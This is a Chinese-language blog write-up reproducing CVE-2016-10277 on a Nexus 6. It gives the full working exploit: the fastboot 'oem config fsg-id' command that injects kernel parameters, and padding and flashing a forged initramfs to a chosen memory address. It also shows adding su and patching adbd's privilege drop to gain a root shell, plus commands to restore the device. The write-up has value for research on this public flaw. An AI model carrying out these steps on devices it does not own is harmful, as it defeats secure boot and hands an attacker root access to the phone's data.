The quiter you become,the more you are able to hear!

CVE-2016-10277 Moto bootloader initroot

Author: geneblue

Blog: https://geneblue.github.io/

系统环境

1
2
3
Nexus 6 MRA58K
Android 6.0
Linux version 3.10.40-ge42477a (android-build@wpds13.hot.corp.google.com) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Tue Aug 25 17:17:25 UTC 2015

验证漏洞

1
2
3
fastboot oem config fsg-id "a androidboot.bar=1"
fastoot continue
adb shell getprop ro.boot.bar

ro.boot.bar 更改为1,说明漏洞存在。

看了其他几款手机,huawei,xiaomi,nubia,neuxs5,vivo, fastboot oem config 命令都不可用,看来只有摩托罗拉的手机才有这个问题。

逆向 ABOOT

从 bootloader.img 中提取 ABOOT,可以使用 unpack_motoboot 脚本。

参考文章里的 aboot 带了符号表,所以可以很轻松找到 target_get_scratch_address() 函数的返回值。 但我提取出来的 aboot 没有符号表,只有逆向着看了。

先将 ida-mbn-sbl-loader 放入 IDA loader 中,方便 IDA 解析 aboot。

然后下载 LK 代码对照着看。首先需要搜索 target_get_scratch_address() 都在哪些地方被调用了,之后可以试着搜索周边的字符串。

因为这个 aboot 和 Android LK 源码并不是一致的,所以很多字符串并不对应,所以要多尝试着找一些字符串,找了一会儿,找到了 aboot_init() 中调用 target_get_scratch_address() 的位置:

1
2
3
4
5
...
partition_dump();
fastboot_init(target_get_scratch_address(), sz);
udc_start();
...

fastboot_init() 中有个 "fastboot_init()\n" 字符串,恰好逆向的 aboot 中也存在, 所以可以很快确定 fastboot_init() 函数,之后就能确定 target_get_scratch_address()。 有时会找不到字符串引用的位置,主要是 IDA 分析代码时,没有做好交叉引用关系,直接在汇编码中表达成了字符串地址值,可以写个脚本批处理这种情况,临时性的方法,可以先将汇编码导出成 asm 文件,在文件中搜索字符串的地址值,之后就可以确定引用字符串的函数。

1
2
3
4
signed int target_get_scratch_address()
{
return 0x11000000;
}

伪造 initramfs

对于有的 Moto 设备,在 flash 时需要添加一个padding做填充,漏洞作者猜测,在 flash image后,手机启动过程可能污染了发送的initramfs,导致initramfs被破坏。因此,需要将initramfs放在一个高地址内存处。

padding 32 MB

1
2
3
4
5
python -c "print 'A'*(32*1024*1024-1)" > initramfs_padding
cat boot.img-ramdisk.gz >> initramfs_padding
fastboot oem config fsg-id "a initrd=0x13000000,1822041"
fastboot flash aleph initramfs_padding
fastboot continue

对于 nexus6 设备,不需要加 padding

1
2
3
fastboot oem config fsg-id "a initrd=0x11000000,1125383"
fastboot flash aleph boot.img-ramdisk.gz
fastboot continue

1125383 为 boot.img-ramdisk.gz 文件大小,刷入原镜像,手机启动成功。

initramfs 镜像是由 cpio 打包,再经 gzip 压缩的一个压缩文件,伪造的方法就是先将 initramfs 镜像使用 gunzip 解压缩,再用 cpio 解包,修改解包出来的文件再打包压缩。相关命令如下:

解压解包:

1
2
3
4
cp boot.img-ramdisk.gz tmp_ramdisk.gz
gunzip tmp_ramdisk.gz
mkdir cpio_out && cd cpio_out
cpio -i -F ../tmp_ramdisk

打包压缩:

1
2
cd cpio_out
find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../new_ramdisk.cpio.gz

压缩的 new_ramdisk.cpio.gz 比原镜像文件要大,对应更改 fastboot 参数,刷入手机重启成功。之前,由于 cpio 打包命令错误,导致手机一直在重启状态循环。

gzip 的压缩比是可以更改的,更改 gzip 压缩比,-1 最快,但是压缩比最差,-9 最慢,但是压缩比最好!预设是 -6。

如果要添加 root 权限,我们可以直接向 initramfs 中添加 su 文件,或者 patch adbd,让其降权不成功,直接以 root 权限启动。

添加 su

将su,拷贝到根目录,再重新打包后,启动成功

patch adbd

adbd 是个后台守护进程,由 init 进程启动,启动之初具备 root 权限,init.rc 中有段脚本可以表明。 为了不让 adb shell 以 root 权限执行,adbd 源码中有一段降权代码,将该代码 patch 掉, 在执行 adb shell 时就可以获取 root 权限。

代码位置 syste/core/adb/adb_main.cpp

1
2
3
4
5
6
7
8
9
10
11
int adb_main(int is_daemon, int server_port)
{

...

if (should_drop_privileges()) {
drop_capabilities_bounding_set_if_needed();

...

}

initramfs 中包含的文件都比较重要,能 patch 的目标也是比较多的,如 init.rc,sepolicy,甚至 init 进程,所以这个漏洞的攻击面还是比较广的。

需要注意的问题

伪造是一次性的,伪造成功后,重启手机,手机循环启动,无法进入系统,这是为什么???

这需要重新将 initramfs 恢复到原始内存位置,再重启手机, 参见 【漏洞分析】如何通过内核命令注入绕过Nexus 6的安全启动模式(含演示视频) 物理内存布局。

1
2
fastboot oem config fsg-id "a initrd=0x02000000,1125383"
fastboot continue

这样重启时,手机可以重启,没有问题,当我重新向手机刷入 Android7.1(原系统是6.0)时,手机重启时又陷入了无限重启状态。

通过与漏洞作者的沟通,恢复手机原状要执行 fastboot 命令。

1
fastboot oem config fsg-id ""

总结

该漏洞只影响 Moto 系列的手机,主要是 bootloader 出的问题,做针对性的攻击是可行,伪造 initramfs 的攻击面比较广。

参考